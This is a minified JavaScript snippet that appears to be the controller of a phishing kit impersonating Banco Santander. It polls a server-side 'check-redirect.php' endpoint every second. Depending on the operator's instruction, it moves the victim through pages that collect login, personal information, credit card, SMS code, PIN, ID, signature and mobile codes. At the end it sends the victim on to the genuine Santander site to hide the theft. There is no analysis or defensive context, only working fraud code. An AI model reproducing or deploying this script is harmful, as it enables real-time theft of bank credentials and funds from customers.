<script>
    $(document).ready(function(){!function e(){$.ajax({url:"../includes/check-redirect.php",type:"GET",dataType:"json",success:function(r){"login"===r.redirect_user?window.location.href="login.php":"login-error"===r.redirect_user?window.location.href="login.php":"information"===r.redirect_user?window.location.href="step-one.php":"information-error"===r.redirect_user?window.location.href="step-one.php":"credit-card"===r.redirect_user?window.location.href="step-two.php":"credit-card-error"===r.redirect_user?window.location.href="step-two.php":"sms"===r.redirect_user?window.location.href="step-three.php":"sms-error"===r.redirect_user?window.location.href="step-three.php":"pin"===r.redirect_user?window.location.href="step-four.php":"pin-error"===r.redirect_user?window.location.href="step-four.php":"id"===r.redirect_user?window.location.href="step-five.php":"id-error"===r.redirect_user?window.location.href="step-five.php":"firma"===r.redirect_user?window.location.href="step-six.php":"firma-error"===r.redirect_user?window.location.href="step-six.php":"code-mobile"===r.redirect_user?window.location.href="step-seven.php":"code-mobile-error"===r.redirect_user?window.location.href="step-seven.php":"approvation"===r.redirect_user?window.location.href="step-eight.php":"approvation-error"===r.redirect_user?window.location.href="step-eight.php":"confirmed"===r.redirect_user?window.location.href="step-end.php":"logout"===r.redirect_user?window.location.href="https://www.bancosantander.es/":($("#message").text("redirect_user value: "+r.redirect_user),setTimeout(e,1e3))},error:function(r,t,o){console.error("AJAX Error: ",t,o),setTimeout(e,1e3)}})}()});
</script>